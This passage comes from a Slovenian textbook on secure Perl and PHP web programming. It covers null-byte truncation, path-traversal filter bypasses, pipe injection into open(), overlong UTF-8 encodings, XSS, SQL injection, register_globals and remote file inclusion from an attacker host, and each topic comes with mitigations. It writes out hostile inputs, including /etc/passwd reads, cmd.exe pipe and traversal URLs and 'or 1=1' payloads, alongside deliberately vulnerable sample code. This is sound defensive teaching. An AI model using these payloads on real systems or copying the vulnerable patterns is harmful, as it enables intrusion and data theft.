metaznakov. Vzorec je lahko sestavljen iz enega ali več znakov. En alfanumerični znak predstavlja samega sebe, znak pike (.) predstavlja poljuben znak (z izjemo znaka za novo vrstico). Znaka za oglati oklepaj vsebujeta seznam znakov (npr. /[1234]/ pomeni, da mora v nizu biti znak 1 ali 2 ali 3 ali 4). Če je vzorec sestavljen iz več znakov, uporabljamo tudi »sidranje« (anchoring) vzorcev, mogoče pa je tudi podati iskanje po metaznakih samih s pomočjo leve poševnice (npr. /\.\[\]/ niz mora vsebovati podniz .[] ). Z uporabo pomišljaja lahko prikažemo razpone (npr. /[0-9]/ niz mora vsebovati eno od cifer, /[A- Za-z0-9_]/ vsebuje enega od alfanumeričnih znakov ...). Poleg tega imamo bližnjice za najpomembnejše skupine znakov in njim inverzne množice znakov (npr. \d cifre, \D ne-cifre, \w besede, \W ne-besede, \s tabulatorji, znaki za novo vrstico, presledki in \S nasprotje tega). Vzorci običajno vsebujejo več znakov, ne le enega. Povežemo jih z združevanjem v zaporedje, alternativnimi možnostmi, navajanjem števila ponovitev enega ali več znakov. Nadalje lahko z okroglimi zaklepaji določimo prednost ali pa jih uporabimo za pomnjenje. Zaporedje znakov podamo preprosto tako, da navedemo več znakov (ali njihovih skupin) neposredno enega za drugim (npr. /113/ ta niz mora vsebovati število 113, /Windows 5\.0/ ta pa Windows 5.0 ...). Alternativno izbiranje med možnostmi podamo z znakom | (npr. niz mora vsebovati enega od naslednjih osebnih zaimkov /jaz|ti|on|ona|ono|mi|me|vi|ve|oni|one/ ). Za podajanje števila ponavljanj znaka ali več znakov uporabljamo naslednje oznake: ? nič ali en znak * nič ali več + eden ali več {m,n} od m do n ponavljanj {m,} m ali več ponavljanj {,n} največ n ponovitev {i} točno i ponovitev (npr. /ha+ha/ niz vsebuje nekaj od haha, haaha, haaaha ..., /ha{3}ha/ niz vsebuje haaaha) Okrogli oklepaji se, kot smo rekli, lahko uporabljajo kot pomnilnik kje naprej v vzorcu (npr. /(spredaj) (zadaj) obratno \2\1/ vsebuje niz: spredaj zadaj obratno zadaj spredaj ). S sidranjem vzorcev je mogoče opredeliti mesto vzorca znotraj niza (npr: /^Ivan Caf/ pomeni, da mora na začetku niza biti podniz Ivan Caf, /dipl\.ing\.$/ pa da je tik pred koncem niz dipl.ing.) V regularnih izrazih obstaja operator ujemanja (match operator), ki vrne vrednosti resnično ali neresnično glede na to, ali je regularni izraz vsebovan v nizu ali ne. Označen je, kar z /regularni izraz/, pa tudi z m/regularni izraz/ ali m#regularni izraz# ali m{regularni izraz}. Nadalje obstaja operator = ~, ki veže rezultat operatorja ujemanja na podano spremenljivko (npr. if ($odlocitev = ~ /[Dd]/) then ...), temu obraten operator je ! ~ (npr. if ($odlocitev !~ /[Nn]/) then ...) Naslednji je operator zamenjave (substitucije) podanega vzorca z regularnim izrazom. Sintaksa je: s/vzorec/nadomestni_niz/ (npr. s/Windows/Linux/ zamenja podniz Windows z nizom Linux, $jezik = ~ s/C/Perl/ v spremenljivki $jezik zamenja znak C z nizom Perl, v tem načinu izvede samo eno zamenjavo). Če hočemo, da zamenja vse pojavitve vzorca, moram na koncu dodati smernico g (npr. $jezik = ~ s/C/Perl/g). Povedali smo že, da spremenljivke \1, \2 ... hranijo podnize, ki se nahajajo v regularnem izrazu znotraj okroglih oklepajev. Vendar jih na ta način lahko uporabljamo samo v njegovem okvirju. Če hočemo te podnize uporabljati naprej v kodi, jih lahko beremo v spremenljivkah $1, $2 ... (npr. $ime = ~ m/Od:(.*)/; $posiljatelj = $1; ... ). 2.3 Perl in Perl CGI Perl (Practical Extraction and Report Language) je splošno namenski programski jezik, ki se izvaja v okviru navideznega stroja. Zaradi tega deluje na vseh platformah, za katere obstaja tak stroj. Ti pa obstajajo za praktično vse bolj znane operacijske sisteme, predvsem razne različice Unixa in Linuxa, pa tudi Windows. Perl je enostaven za uporabo in omogoča tako proceduralno programiranje kot tudi objektno usmerjeno, zanj pa obstaja tudi velika (brezplačna) zbirka modulov . Perl je izpeljan in izdelan iz programskega jezika C (vendar nima kazalcev) in vsebuje zmožnosti nekaterih orodij iz lupine operacijskih sistemov Unix (npr. sed in awk). 2.3.1 Perl in ničelni znak Prva varnostna pomanjkljivost v Perl-u je nedorečena obravnava ničelnega znaka (to je znak \0 oziroma %00). Kot vemo ta znak v programskem jeziku C predstavlja konec niza. V Perlu bi ta znak (ne smemo ga zamenjati z znakom 0 ali presledkom) moral biti takšen kot vsak drug znak, kar pa ni vedno res, saj je Perlov interpreter programiran s C. Tako je mogoče z znakom \0 krajšati nize (in preko njih ukaze), obenem pa niz 'niz\0' ni enak nizu 'niz'. Iz tega izvira kar nekaj varnostnih problemov . Primer krajšanja nizov: V svetovnem spletu je kar nekaj aplikacij, ki kot parameter sprejmejo spletno stran, pri čemer privzamejo, da je njihova končnica html (in jo dodajo sami). Poenostavljen primer takšnega programa, ki prikaže podano spletno stran v brskalniku, je: testIzpisCgi.pl #!/usr/bin/perl use CGI; $poizvedba = new CGI; print $poizvedba->header; $stran = $poizvedba->param('spletnaStran'); open (FILE, "<$stran.html"); while () {print "$_" ;} close (FILE); Zgornji program deluje v redu, če za parameter spletnaStran, podamo dejansko html datoteko npr.test.html: http://localhost/../scripts/testIzpisCgi.pl?spletnaStran=/inetpub/wwwroot/test V tem primeru je rezultat takšen, kot ga je razvijalec načrtoval. Toda če podamo npr.: http://localhost/../scripts/testIzpisCgi.pl?spletnaStran=testIzpisCgi.pl%00 skript prikaže svojo lastno kodo (to je v tem primeru program, ki izpiše samega sebe), če mu podamo kateri drugi skript, pa seveda izpiše tudi njegovo kodo. Znak %00 je URL kodirana oblika znaka \0. Problem je v tem, da Perl pri tem, ko odpira z nizom podano datoteko, upošteva le del niza pred tem znakom. Na ta način, bi si napadalec, na operacijskih sistemih Unix/Linux, lahko izpisal datoteko /etc/passwd. Gesla v tej datoteki, so šifrirana, vendar imajo pogosto premajhno entropijo. Zato jih lahko, če jo napadalec pridobi v posest, odkrije s programom za ugibanje gesel. Takšna programa sta na primer LC5 in John the Ripper. Ta problem v Perlu obstaja povsod, kjer v kodi, vhodnim podatkom dodajamo pripone. Težave povzroča (kot smo omenili) tudi dejstvo, da je niz 'niz\0' včasih enakovreden nizu 'niz', včasih pa ne. Posebej pri primerjanju v pogojnih stavkih, sta ta dva niza različna Težav z ničelnimi znaki se v Perlu enostavno ognemo tako, da iz vhodnih podatkov odstranimo vse ničelne znake - to je mogoče storiti z naslednjo substitucijo: $vhodni_podatek =~ s/\0//g; 2.3.2 Težave s poševnicami Naslednji pogost varnostni problem so poševnice. Po priporočilih konzorcija W3C so znaki s posebnim pomenom za Linux/Unix lupino operacijskega sistema: & ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r Kadar se v vhodu v program pojavijo ti znaki, jih moramo predstaviti z ubežnico (escape), sicer ohranijo svoj, poseben pomen (Npr. > preusmeritev, \n nova vrstica...). V ta namen nad vhodnimi podatki uporabimo naslednjo substitucijo: $vhodni_podatek =~ s/([\&;\`'\\\|"*?~<>^\(\)\[\]\{\}\$\n\r])/\\$1/g; Tako postanejo običajni znaki, brez posebnega pomena. Če programerji na to pozabijo, je posledica v najboljšem primeru nepravilno delovanje, v slabem pa varnostne pomanjkljivosti, kot so razkritje vsebine občutljivih datotek, SQL vrivanje itd. Predvsem se pogosto zgodi, da ti znaki sicer so predstavljeni z ubežnico, vendar ne tudi znak leve poševnice (\ - backslash) . Če ne uporabimo ubežnice za leve poševnice, zlonamernemu uporabniku ne moremo preprečiti dostopa do imenikov in datotek z naslednjo substitucijo: $vhodni_podatek =~ s/\.\.//g; Naš namen je, da iz vhodnega podatka odstranimo znak za premik navzgor po strukturi datotečnega sistema (..). Tako, če npr. napadalec za ime datoteke poda: /usr/tmp/../../etc/passwd To postane: /usr/tmp///etc/passwd s čemer napadalec ne doseže želenega rezultata, ker je dovoljeno podati več zaporednih poševnic in se tako ne more dvigniti iz trenutnega imenika navzgor. Toda če leva poševnica ni podana z ubežnico, je zgornji varnostni ukrep mogoče zaobiti z naslednjim vnosom: /usr/tmp/.\./.\./etc/passwd Regularni izraz ne deluje zaradi leve poševnice, zato napadalcu njegov namen uspe. Rešitev je tudi tu preprosta, paziti moramo, da tudi za levo poševnico uporabimo ubežni znak (torej tako \\ ). 2.3.3 Težave s cevmi V Perlu imamo pri odpiranju datotek s stavkom open() možnost, da podamo ukazno vrstico kot vhod oziroma izhod. To je mogoče, če pred (izhod) ali za njo (vhod), dodamo znak |. Sintaksa je naslednja: open (DATOTEKA, "|ukazna vrstica"); -- odpre datoteko za pisanje open (DATOTEKA, "ukazna vrstica|"); -- odpre datoteko za branje Primer programa za neposredno tiskanje na tiskalniku: open (TISKALNIK, "|lpr"); print TISKALNIK $podatki; close TISKALNIK; Primer izpisa vsebine trenutnega imenika: $izpis = "dir|"; open (DATKA, $izpis); while () { print $_,"\n"; } close DATKA; Napadalec pridobi dostop do ukazne vrstice, če poda spremenljivki $datoteka spodnjo vrednost : $datoteka = "c:\\winnt\\system32\\cmd.exe|"; open(DATKA, $datoteka); while () { print $_,"\n"; } close DATKA; Zlorabam s pomočjo cevi se je mogoče enostavno izogniti, če pri odpiranju datotek s funkcijo open(), podamo znak '<' (branje),' >' (pisanje) ali '>>' (dodajanje). Primer je: $datoteka = "c:\\winnt\\system32\\cmd.exe|"; open(DATKA, "<$datoteka"); Mogoče je tudi filtrirati znak za cev | z: $vhod =~ s/(\|)/\\$1/g 2.3.4 Veljavnost znakov v UTF-8 zapisu UTF-8 kodiranje omogoča prikaz praktično vseh obstoječih znakov, predvsem znakov iz abeced naravnih jezikov. Vrsto kodiranja v XML, XHTML in HTML dokumentih določimo: 1. z uporabo parametra 'charset' v glavi HTTP: Content-Type: text/html; charset=UTF-8 2. za XML (in XHTML) z psevdo atributom 'encoding': 3. v HTML uporabimo oznako v : Kadar naša aplikacija s formami sprejema UTF-8 kodirane znake, jih preverimo z naslednjim testom: $veljaven_vnos =~ m/^( [\x09\x0A\x0D\x20-\x7E] # ASCII | [\xC2-\xDF][\x80-\xBF] # 2 bajtna ne-predolga oblika | \xE0[\xA0-\xBF][\x80-\xBF] # izključimo predolge oblike | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2} # neposredne 3 bajtne oblike | \xED[\x80-\x9F][\x80-\xBF] # izločimo nadomestke | \xF0[\x90-\xBF][\x80-\xBF]{2} # nivoji 1-3 | [\xF1-\xF3][\x80-\xBF]{3} # nivoji 4-15 | \xF4[\x80-\x8F][\x80-\xBF]{2} # nivo 16 )*$/x; Če je vnos regularen je rezultat ‘true’ drugače pa ‘false’. V primeru, da tega ne naredimo, lahko napadalci tvorijo nelegalna UTF-8 kodiranja, na naslednja načina:  UTF-8 zaporedje za posamezen znak, je lahko daljše, kot je potrebno  UTF-8 zaporedje lahko vsebuje neveljavne bajte, ki niso v skladu z nobenim od formatov Spletni strežniki in spletne aplikacije praviloma izvajajo več stopenj obdelave vhodnih podatkov, od njihovega zaporedja pa je lahko odvisna varnost. Zaporedje je sestavljeno iz URL dekodiranja, ki mu sledi UTF-8 dekodiranje, vse skupaj pa je premešano še z raznimi varnostnimi preizkusi. Primer nevarnosti je, če npr. aplikacija testira, ali vhod vsebuje dve piki (.. – direktorij navzgor) pred UTF-8 dekodiranjem, je mogoče dve piki vstaviti s “predolgim“ UTF-8 formatom. Tudi če je to preverjeno, imamo npr. za predstavitev znaka pike (AE) še pet drugih (predolgih) predstavitev (C0 AE, E0 80 AE, F0 80 80 AE, F0 80 80 80 AE in FC 80 80 80 80 AE). Če nadalje pogledamo predstavitev C0 AE, morata biti najpomembnejša bita drugega bajta 10, ker tega nekatere aplikacije ne preverjajo, je mogoče tudi “00”, “01” in “11” in so tako dodatne možnosti predstavitve še C0 2E, C0 5E in C0 FE. Stvari so še bolj zapletene glede na dejstvo, da je mogoče podatke poslati s HTTP protokolom v več oblikah, npr. v surovi, to je brez vsakega URL kodiranja, kar pomeni pošiljanje ne-ASCII znakov, v poti, povpraševanju in telesu, kar sicer ni v skladu s HTTP standardom, vendar jih večina HTTP strežnikov vseeno sprejme. Veljavno URL kodiranje zahteva, da je vsak ne-ASCII znak URL kodiran (to bi pomenilo, da moramo zgornji C0 AE kodirati kot %C0%AE). Pri neveljavnem URL kodiranju so nekatera heksadecimalna števila zamenjana z neheksadecimalnimi števili, rezultat pa se ponekod interpretira tako kot izvorni (npr. %C0 se interpretira kot število znaka – (‘C’-‘A’+10)*16+(‘0’-‘0’) = 192, %M0 pa kot (‘M’-‘A’+10)*16+(‘0’- ‘0’)=448, kar pa se prisiljeno za predstavitev z enim bajtom prav tako pretvori v 192 (osem najmanj pomembnih bitov)). Torej če algoritem sprejme neheksadecimalne znake (kot je ‘M’), sta varianti za %C0 tudi %M0 in %BG. Če napadalcu sledeči napad ne uspe: http://streznik/cgi-bin/napaden.pl?vnos=../../winnt/system32/cmd.exe?+/c+dir+c:\ Lahko poizkusi še z naslednjim URL kodiranjem napada: http://streznik/cgi-bin/napaden.pl?vnos=..%2F../winnt/system32/cmd.exe?+/c+dir+c:\ ter še s štirinajstimi različnimi Unicode kodiranji napada, ki jih najdete v . 2.3.5 Preprečevanje napadov s skripti med spletnimi mesti Skripti med spletnimi mesti (Cross-Site Scripting – XSS), so ene najpogostejših varnostnih težav pri spletnih rešitvah (ki jih razvijalci zaradi časovnih rokov in zahtevnosti pogosto prezrejo) . Spletišče je ranljivo, če spletna rešitev prikaže vsebino, ki jo je vnesel uporabnik in ne preveri ali so v vsebini zlonamerne skriptne oznake. Na ta način običajno zlonamerni uporabniki napadajo druge uporabnike preko spletnih mest tretjih oseb. Primer ranljivega programa: #!/usr/bin/perl use CGI; my $cgi = CGI->new(); my $vnos = $cgi->param('vnosno_polje'); print $cgi->header(); print "Vnesli ste $vnos"; Napadalec lahko v parameter 'vnosno_polje' vpiše zlonamerno (Javascript, pa tudi HTML) kodo. Na primer: Hvala za vaš piškotek Ko nato drug uporabnik naloži to stran v svoj brskalnik, postane napadalčeva žrtev (uporabnikov piškotek pridobi heker in ga nemara lahko uporabi za ugrabitev seje). Napaka v tem skriptu je v tem, da ta program ne preverja uporabnikovega vnosa, ampak izpiše vse, kar je bilo vneseno.. Napadi so mogoči tudi neposredno preko URL vrstice : http://www.nevarno.si/ranljiv.pl?vnosno_polje= Če napadalec navede neprevidnega uporabnika, da izbere takšno povezavo, bo mu njegov brskalnik v tem primeru prikazal trenutno množico piškotkov. Napadalec lahko poda tudi mnogo nevarnejšo kodo: kodo za krajo gesel, preusmeritve na zlonamerna spletna mesta (npr. trojanske spletne banke)... Pri spletnih rešitvah, ki temeljijo na Perl CGI in mod_perl, zmanjšamo nevarnost skript med spletnimi mesti, tako da opravimo ustrezno preverjanje vhodnih podatkov, kot je na primeru spodaj: $preverjen_vnos =~ s/[^A-Za-z0-9 ]*/ /g; Tako ohranimo samo velike in male črke, števila in presledke. To je zanesljiva zaščita, le da je pri nekaterih aplikacijah to prehuda omejitev. V takih primerih (kadar so potrebni tudi znaki s posebnim pomenom) pa je lahko odstranjevanje zlonamernih elementov iz vhodnih podatkov mnogo težje. Druga možnost je, da preden prikažemo vsebino, HTML oznake predstavimo z ubežnicami. Za ta namen obstaja perl modul HTML::Entities s funkcijo HTML::Entities::encode(), ki pretvori HTML znake v HTML reference entitet. Npr. znak '<' pretvori v '<', '>' v '>', '''' v '"' Zgornji program zavarujemo s zamenjavo HTML oznak v HTML reference entitet, z omenjenim modulom, kot je podan spodaj: #!/usr/bin/perl use CGI; use HTML::Entities; my $cgi = CGI->new(); my $vnos = $cgi->param('vnosno_polje'); print $cgi->header(); print "Vnesli ste ", HTML::Entities::encode($vnos); Če uporabljamo mod_perl (to je Perl povezan s spletnim strežnikom Apache, posebej namenjen za spletne aplikacije), je za programerje še bolje poskrbljeno, saj imajo poleg zgornjih rešitev, tudi modul posebej namenjen za preverjanje uporabniških vnosov. Imenuje se Apache::TaintRequest. Primer njegove uporabe je: use Apache::TaintRequest (); sub handler { my $r = shift; $r = Apache::TaintRequest->new($r); my $niz = $r->query_string(); $r->print($niz); # html oznake so prikazane z ubežnicami ... } Dobra preventiva pred temi napadi je tudi, če v brskalniku izključimo skriptne jezike (Javascript, JScript, VBScript ...). 2.3.6 Preprečevanje SQL vrivanja Kadar spletna aplikacija dostopa do podatkovne zbirke na osnovi uporabnikovega vnosa, lahko napadalec z ustrezno prirejenim vnosom zlorabi podatkovno zbirko. Takšne napade imenujemo SQL vrivanje (SQL Injection) . Ranljivost ponovno izvira iz ne dovolj preverjenih vhodnih podatkov. Ker je težko odkriti vse nevarne konstrukte, je bolje odstraniti vse razen dovoljenih – kar pa je včasih v praksi težko storiti. Primer je lahko naslov elektronske pošte. Dovolimo samo, male in velike črke, cifre, afno, piko, pomišljaj in podčrtaj. Toda ker imajo nekateri dokaj eksotične naslove (ki vključujejo npr. znake ', + itd.), so pri takšnem preverjanju izločeni, kar lahko za lastnika spletišča pomeni ekonomsko škodo. Oglejmo si primer za SQL vrivanje ranljive kode. #!/usr/bin/perl use CGI; my $cgi = CGI->new(); my $ime = $cgi->param('vnosno_polje1'); my $geslo = $cgi->param('vnosno_polje2'); my $sth = $dbh->prepare("SELECT * FROM uporabniki WHERE uporabnik = $ime and up_geslo = $geslo "); $sth->execute(); Če napadalec za $ime poda npr. »' ' or 1=1« in isto za $geslo, bo ta program odvisno od nadaljnje kode, izpisal prvo vrstico iz tabele uporabniki ali celo vse vrstice. V tem primeru je dejanski SQL stavek, ki se izvede, takšen: SELECT * FROM uporabniki WHERE uporabnik = ' ' or 1 = 1 and up_geslo = ' ' or 1 = 1 Na osnovi tega principa, je mogoče ustvariti veliko število zlorab. Z znakom - -, je mogoče krajšati SQL stavke (ta znak namreč pri večini podatkovnih zbirk predstavlja znak za komentar). Z znakom ;, pa je mogoče dodajati dodatne SQL stavke. Zaščito močno okrepimo, če za spremenljivke uporabimo nameščanje (placeholder). Zgornji primer, bi spremenili v: #!/usr/bin/perl use CGI; my $cgi = CGI->new(); my $ime = $cgi->param('vnosno_polje1'); my $geslo = $cgi->param('vnosno_polje2'); my $sth = $dbh->prepare("SELECT * FROM uporabniki WHERE uporabnik = ? and up_geslo = ? "); $sth->execute($ime, $geslo); Če napadalec, v tem primer za $ime in $geslo ponovno poda »' ' or 1=1«, je SQL stavek, ki se dejansko izvede naslednji: SELECT * FROM uporabniki WHERE uporabnik = '' or 1=1' and up_geslo = '' or 1=1' in tako njegov namen ne uspe. Za nadaljnje izboljšanje zaščite pred SQL vrivanjem, je kot pri prejšnjih sekcijah, potrebno vse znake s posebnim pomenom, predstaviti z ubežnico. V podatkovni zbirki MySQL v ta namen, obstaja funkcija: mysql_real_escape_string() V Perlu pa DBD metoda: $dbh->quote($stavek). K boljši varnosti pripomore tudi, če je aplikacija zasnovana tako, da so opozorila vidna samo skrbniku, ne pa tudi uporabnikom. Zlonamerni uporabnik tako ne more spoznati strukture podatkovne zbirke. Če temu ni tako, lahko napadalec s posebej sestavljenimi (napačnimi) vnosi sondira zbirko. 2.4 PHP 2.4.1 Globalne spremenljivke V različicah PHP pred 4.2.0, je v inicializacijski datoteki php.ini, direktiva register_globals, po tovarniških nastavitvah, nastavljena na ON. V tem primeru PHP ne preverja, kje je bila določena spremenljivka inicializirana . Zaradi tega lahko (zlonamerni) uporabnik, sam nastavi njeno vrednost v URL vrstici ali vnosnem polju. Za ilustracijo poglejmo spodnji skript: # slabo.php Problem s tem skriptom je, da je mogoče spremenljivko $dovoljeno, nastaviti na ''D'', v URL vrstici, kot je spodaj: http://www.slab.si/slabo.php?uporabnik=peter&geslo=skrivno&dovoljeno=D V takem primeru, bi se $obcutljiv_podatek izpisal, ne glede ali je uporabnik pooblaščen ali ne. Problema se rešimo tudi, če vse spremenljivke v skriptu inicializiramo preden jih uporabimo. Npr. tako: # dobro.php Pri tem je možnost tudi to, da aplikacijo razvijamo z direktivo error_reporting E_ALL. Vendar je najlažje izključiti register_globals (oziroma ga pustiti izključenega) . 2.4.2 Vključevanje datotek z medmrežja Kadar skripte vsebujejo kodo kot je: \n"); ?> in napadalec uspe nastaviti spremenljivko $datka na vrednost /etc/passwd, bo ta program mogoče izpisal datoteko z gesli. Mogoči pa so tudi manj pričakovani napadi, ki izvirajo iz vključevanja datotek z oddaljenih lokacij . Poglejmo spodnji skript: Funkcija include() omogoča dostop, ne samo do lokalnih knjižnic, ampak tudi dostop do skript na spletiščih tretjih oseb. Če v zgornjem skriptu napadalcu uspe nastaviti spremenljivko $imenik_knjiznic, npr. na http://napadalec.com , lahko tam ustvari svoj PHP skript, npr: in ga prav tako poimenuje knjiznica1.php. Na ta način se bo izvedel napadalčev skript in ne naš, ter prav tako izpisal datoteko z gesli. Napadalec mora paziti le, da na njegovem spletišču ni mogoče izvajati datotek tipa php, sicer se skript izvede na njegovem spletnem mestu. 2.4.3 Nalaganje uporabnikovih datotek PHP omogoča uporabnikom, da nalagajo svoje datoteke na spletna mesta. Pri tem uporabljamo HTML FORM element (z ustreznimi INPUT elementi). Primer takšne HTML kode je:
Uporabnik lahko poda datoteko, ki se naloži na spletno mesto. Posebnost pri tem je, da se naloži na disk, preden jo PHP pretolmači . Preveri samo, če ni predolga, glede na dolžino podano v formi in dolžino podano v nastavitvah php.ini. Shrani se v začasni imenik (npr. /tmp), z naključno določenim imenom. PHP nato potrebuje podatke o naloženi datoteki, da bi jo lahko procesiral. To doseže na dva načina, eden je v uporabi že od PHP različice 3, drugi pa je nastal, da bi odpravili varnostne probleme, povezane s prvim (ki pa ga programerji po inerciji še vedno uporabljajo). Pri tem prvem načinu, PHP priredi štirim globalnim spremenljivkam naslednje vrednosti (primer za zgornjo formo): $datka = ''Ime datoteke na strežniku npr. /tmp/phpdfAt3e2 '' $datka_size = ''Dolžina datoteke v bajtih npr. 2048'' $datka_name = '' Originalno ime datoteke na uporabnikovem računalniku npr: c:\\temp\\datka.txt" $datka_type = ''Mime tip naložene datoteke npr. "text/plain" PHP nato nadaljuje s procesiranjem datoteke, katere ime je podano v spremenljivki $datka. Pri tem se pozablja, da lahko to spremenljivko določi napadalec, npr.tako: http://ranljivo_mesto/skript.php?datka=/etc/passwd&datka_size=10240&datka_type=tex t/plain&datka_name=datka.txt V tem primeru imajo te globalne spremenljivke naslednje vrednosti (nastavili bi jih lahko tudi s HTML formo s POST metodo): $datka = "/etc/passwd" $datka_size = 2048 $datka_type = "text/plain" $datka_name = "datka.txt" Skript skript.php bi nato verjetno prikazal vsebino datoteke z gesli. Kot vidimo lahko napadalec, namesto da bi naložil svojo datoteko, prevara PHP spletno mesto tako, da ta obdela svojo lastno (občutljivo) datoteko. PHP rešuje ta problem s funkcijama: 1. bool move_uploaded_file ( string ime_datoteke, string destinacija). S to funkcijo preverimo, če je datoteka podana s parametrom ime_datoteke, veljavno naložena (da je naložena s HTTP POST mehanizmom). V tem primeru jo prenesemo v datoteko določeno z nizom 'destinacija'. 2. bool is_uploaded_file ( string ime_datoteke ). Ta funkcija samo preveri ali je datoteka podana s parametrom 'ime_datoteke', res naložena preko mehanizma HTTP POST. 2.4.4 Seje Ker protokol HTTP, kot osnova svetovnega spleta nima stanja (ne hrani pretekle dejavnosti uporabnika), moramo, v primeru, če uporabnik dostopa do več dokumentov v isti aplikaciji, poskrbeti za hranjenje podatkov v zvezi z dejavnostjo uporabnikov . To se običajno rešuje s piškotki, ki se hranijo na uporabnikovem računalniku. Druga možnost so skrita polja v formah (... . S PHP 4.0 in naprej je za seje še bolje poskrbljeno. Večina podatkov o uporabnikovem stanju (oziroma seji), je shranjena na spletnem strežniku, na uporabnikovi strani je le enostaven piškotek (v njem je samo oznaka seje – PHPSESSID). Obstaja pa tudi možnost, da oznako seje prenašamo z URLji. Glede na to, da je PHPSESSID ključ do uporabnikove seje ne sme priti v roke drugim uporabnikom (napadalcem). Ti se ga včasih vseeno polastijo in sicer z ugibanjem, zajetjem piškotka ali fiksiranjem . S pomočjo tega ključa, lahko napadalec ugrabi sejo legalnega uporabnika in jo zlorabi. Napada s pomočjo fiksiranja, se ubranimo tako, da generiramo novo oznako, kadar uporabnik poda oznako seje, ki ni aktivna . To lahko storimo z naslednjo kodo: 2.4.5 Klici zunanjih funkcij Kadar v svoji spletni rešitvi uporabnikom omogočimo uporabo naslednjih zunanjih PHP funkcije: 1. string exec ( string ukaz [, array &izhod [, int &return_var]] ) 2. string system ( string command [, int &return_var] ) 3. void passthru(string ukaz [, int &return_var]) 4. operator levi črticì ` (backticks) 5. resource popen ( string ukaz, string način ) 6. funkcije require(), include(), eval() ter preg_replace() z možnostjo 'e'. Moramo uporabniške vnose obdelati s funkcijama : 1.string escapeshellcmd(string ukaz). 2. string escapeshellarg(string arg). Prva funkcija predstavi znake s posebnim pomenom za lupino operacijskega sistema z ubežnicami. Konkretno pred naslednje znake postavi levo poševnico: #&;`|*?~<>^()[]{}$\ , \x0A, \xFF . Znaka ' in ", pa le kadar ne nastopata v parih. Na operacijskih sistemih Okna, pa iste znake in še znak %, spremeni v presledke. Druga funkcija postavi vhodni niz med enojne narekovaje, v primeru pa, da so v nizu že enojni narekovaji doda še vsakemu od njih enojni narekovaj ali levo poševnico. Ti funkciji torej uporabljamo za varno predstavitev argumentov sistemskim ukazom. Pomembna zaščita, kadar imamo na istem strežniku več spletnih mest (pogosto pri spletnem gostovanju), so tudi ustrezne nastavitve načinov safe_mode, safe_mode_exec_dir, safe_mode_gid, safe_mode_include_dir, safe_mode_allowed_env_vars, safe_mode_protected_env_vars, open_basedir, disable_functions in disable_classes . Prav tako, kot pri spletnih aplikacijah s Perlom, so tudi PHP aplikacije ranljive za napade XSS, SQL vrivanje... Pred njimi se varujemo s filtriranjem vhodnih podatkov, ter z uporabo funkcij : 1.string htmlspecialchars ( string niz [, int quote_style [, string charset]] ), s to funkcijo preprečimo napadalcu, da bi kot vhod podal HTML vnos (pričakujemo navaden niz). Primer uporabe: Test", ENT_QUOTES); echo $niz; // IZPIŠE: <a href='test'>Test</a> ?> 2. string strip_tags ( string niz [, string allowable_tags] ) , ta funkcija skuša iz niza odstraniti vse HTML in PHP oznake. Primer uporabe: Testni odstavek

Drugi tekst'; echo strip_tags($tekst); //Izpiše: Testni odstavek Drugi tekst echo "\n"; // Dovolimo oznako

echo strip_tags($tekst, '

'); // Izpiše

Testni odstavek

Drugi tekst ?> 2.5 Zaključek Perl in predvsem PHP sta zelo priljubljena skriptna jezika, ki se pogosto uporabljata za izdelavo spletnih aplikacij. Te so česte tarče hekerjev, ker je v njih pogosto za varnost ni dovolj dobro poskrbljeno. Poleg splošnih nevarnosti (XSS, SQL Injection...), ki grozijo vsem spletnim rešitvam ne glede na tehnologijo, smo si podrobneje ogledali specifične slabosti v omenjenima jezikoma in pokazali načine kako jih ublažiti. Specifične slabosti v Perlu so ničelni znak, poševnice in težave s cevmi. Specifične težave PHPja so globalne spremenljivke, vključevanje datotek, nalaganje uporabniških datotek ter mehanizem sej med brskalnikom in strežnikom. Na koncu še omenimo, da so ranljive tudi komercialne rešitve, kot so Microsoftov ASP.NET in IBMov Websphere, za vse velja, da mora za varnost poskrbeti predvsem razvijalec sam. 2.6 Viri in literatura Michael Howard, David LeBlanc: Writing Secure Code, Microsoft Press, 2003 Ivan Verdonik, Tomaž Bratuša: Hekerski vdori in zaščita, Založba Pasadena, 2005 Lincoln D. Stein, John N. Stewart: The World Wide Web Security FAQ, http://www.w3.org/Security/Faq/www-security-faq.html, 2005 Ian Gilfillan: Secure Programming with PHP, http://www.webdeveloper.com/security/, 2005 Jeremiah Grossman, Sverre H. Huseby, Amit Klein, Mitja Kolšek, Aaron C. Newman, Steve Orrin in drugi: Web Application Security Consortium: Threat Classification, 2005 Perl Security, http://www.xav.com/perl/lib/Pod/perlsec.html, 2005 Dave Clark: PHP Security Mistakes, http://www.devshed.com/c/a/PHP/PHP-Security-Mistakes/ , 2005 Stuart McClure, Joel Scambray, George Kurtz:Hacking Exposed Fifth Edition:Network Security Secrets & Solutions, McGraw-Hill/Osborne, 2005 Greg Hoglund, Gary McGraw: Exploiting Software: How to Break Code, Addison-Wesley, 2003 Regularni izrazi: http://www.regular-expressions.info/tutorial.html, 2006 R. Allen Wyke, Donald B. Thomas: Perl a Beginner's Guide, Osborne/McGraw-Hill, 2001 3 Prekoračitve vmesnika (Buffer Overflow) 3.1 Uvod Problem prekoračitve vmesnika je znan že več kot dve desetletji, posebej pereč pa je postal v zadnjem desetletju. Najbolj sta prizadeta programska jezika C in C++ zaradi svoje tesne povezave s strojno opremo, posebej pri delu z nizi. Če dolžina niza, ki ga shranimo v znakovno polje ni ustrezno omejena, lahko pride do prekoračitve tega polja. To lahko napadalcu omogoči, da prekine delovanje programa in izvede kodo, ki jo je vstavil. Ponavadi poizkuša pridobiti dostop do lupine operacijskega sistema s skrbniškimi ali sistemskimi pooblastili. Omejili smo se na različne mogoče načine zlorab prekoračitev sklada in operacijske sisteme Windows. Proti prekoračitvam vmesnikov se borimo na več načinov: z ustreznim programiranjem, s prevajalniki, operacijskim sistemom in tudi s strojno opremo. Ključno je varno programiranje, saj ostala sredstva samo gasijo ogenj in jih je večkrat mogoče tudi zaobiti. 3.2 Osnove Prekoračitev vmesnika nastane, kadar vhodni podatek preseže najdaljšo rezervirano dolžino njemu namenjene spremenljivke. Program, ki vsebuje takšno napako, je potencialno ranljiv. V operacijskih sistemih Windows, se takšna prekoračitev vmesnika odrazi, kot obvestilo o napaki (Access Violation, Segmentation Fault,...), nakar se program prekine. Razen v trivialnih primerih ni mogoče dokazati, da taka napaka ne predstavlja varnostne grožnje. Vendar pa je ponavadi odkrivanje načina zlorabe zahtevno, posebej če napadalec nima dostopa do izvorne kode. Prva bolj znana zloraba prekoračitve 